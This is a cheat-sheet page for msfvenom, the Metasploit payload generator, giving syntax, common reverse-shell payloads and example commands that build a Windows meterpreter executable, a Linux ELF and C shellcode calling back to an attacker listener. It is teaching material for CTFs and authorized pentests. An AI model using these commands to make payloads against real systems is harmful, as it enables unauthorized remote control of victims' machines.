Skip to content

Msfvenom

Official Documentation: https://www.offsec.com/metasploit-unleashed/msfvenom/

Cheat Sheet: Msfvenom Commands

Purpose

Msfvenom is a payload generator for Metasploit. It creates shellcode, executables, or scripts that deliver a payload (reverse shell, meterpreter, etc.).

Scenarios

  • CTF: Generate a Windows reverse shell executable and upload it to the target machine.
  • Real world: Demonstrate impact of payload delivery (with consent) during pentests.

All needed info to run

  • Syntax: msfvenom -p <payload> [options] -f <format> -o <file>.
  • Common payloads:
  • windows/meterpreter/reverse_tcp
  • linux/x86/shell_reverse_tcp
  • android/meterpreter/reverse_tcp
  • Options:
  • LHOST=<attacker-ip>
  • LPORT=<attacker-port>
  • -f <format> → exe, elf, apk, raw, c, python
  • -o <output> → save file
  • Use with a handler in Metasploit: use exploit/multi/handler.

Example commands & outputs

# Generate Windows reverse shell exe
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o shell.exe
# Output:
# Payload size: 354 bytes
# Final size of exe file: 73802 bytes

# Generate Linux reverse shell ELF
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o shell.elf

# Generate raw shellcode for C
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f c
# Output: unsigned char buf[] = { ... };

Msfvenom Basics

  • -p sets payload, LHOST/LPORT configure attacker’s listener, -f sets output format.
  • Use -l payloads to list available payloads.
  • Pair with Metasploit multi/handler to catch shells.
  • Generated payloads are often detected by AV; use only in labs or authorized tests.

Msfvenom Commands